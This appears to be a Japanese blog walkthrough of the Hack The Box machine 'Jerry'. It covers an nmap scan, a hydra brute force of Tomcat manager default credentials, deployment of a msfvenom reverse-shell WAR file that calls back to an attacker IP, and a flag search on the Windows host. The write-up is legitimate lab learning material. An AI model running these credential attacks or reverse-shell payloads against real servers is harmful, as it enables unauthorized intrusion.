Skip to content

Hack the box - Jerry

nmapでRecon

8080/tcpでApache Tomcat/Coyote JSP engine 1.1を使っていることがわかる

PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1

2. Tomcat管理者画面へのアクセス

Web画面にアクセスすると、Apache Tomcatの管理者画面へのリンクがある。 kaliのなかにTomcatのデフォルトパスワードの辞書があるので、ユーザ名とパスワードを別ファイルに取り出してhydraに取り込む形で準備しておく。

Terminal window
$ cat /usr/share/wordlists/passwords/tomcat-betterdefaultpasslist.txt | cut -d ':' -f 1 | sort -u > name.txt
$ cat /usr/share/wordlists/passwords/tomcat-betterdefaultpasslist.txt | cut -d ':' -f 2 | sort -u > pass.txt

これをhydraに食わせる。

Terminal window
$ hydra -L name.txt -P pass.txt -s 8080 jerry.htb http-get /manager/html
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-03 23:56:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 420 login tries (l:15/p:28), ~27 tries per task
[DATA] attacking http-get://jerry.htb:8080/manager/html
[8080][http-get] host: jerry.htb login: admin password: admin
[8080][http-get] host: jerry.htb login: tomcat password: s3cret
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-03 23:56:34

3. リバースシェルのデプロイ、実行

Tomcatの管理画面からwarファイルをデプロイすることができるので、msfvenomでリバースシェルのwarファイルを作成する。

Terminal window
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.34 LPORT=4444 -f war -e x86/shikata_ga_nai > reverse.war
Payload size: 1092 bytes
Final size of war file: 1092 bytes

いつもはFirefoxを使用しているがアップロード時に接続が遮断されてしまうので、 試しにChromiumから実施すると通った。

待ち受け側はncで準備しておき、アップロードしたwarファイルのパスへアクセスするとリバースシェルが起動する。

Terminal window
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.136.9] 49194
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>

4. flag探索

flagを含むファイル、ディレクトリを探す。

Terminal window
c:\>dir /b /s /a *flag*
dir /b /s /a *flag*
c:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\flags.lnk
c:\Users\Administrator\Desktop\flags

AdministratorDesktopに怪しげなフォルダがあるのでアクセスすると、userとrootの両方のフラグをゲット。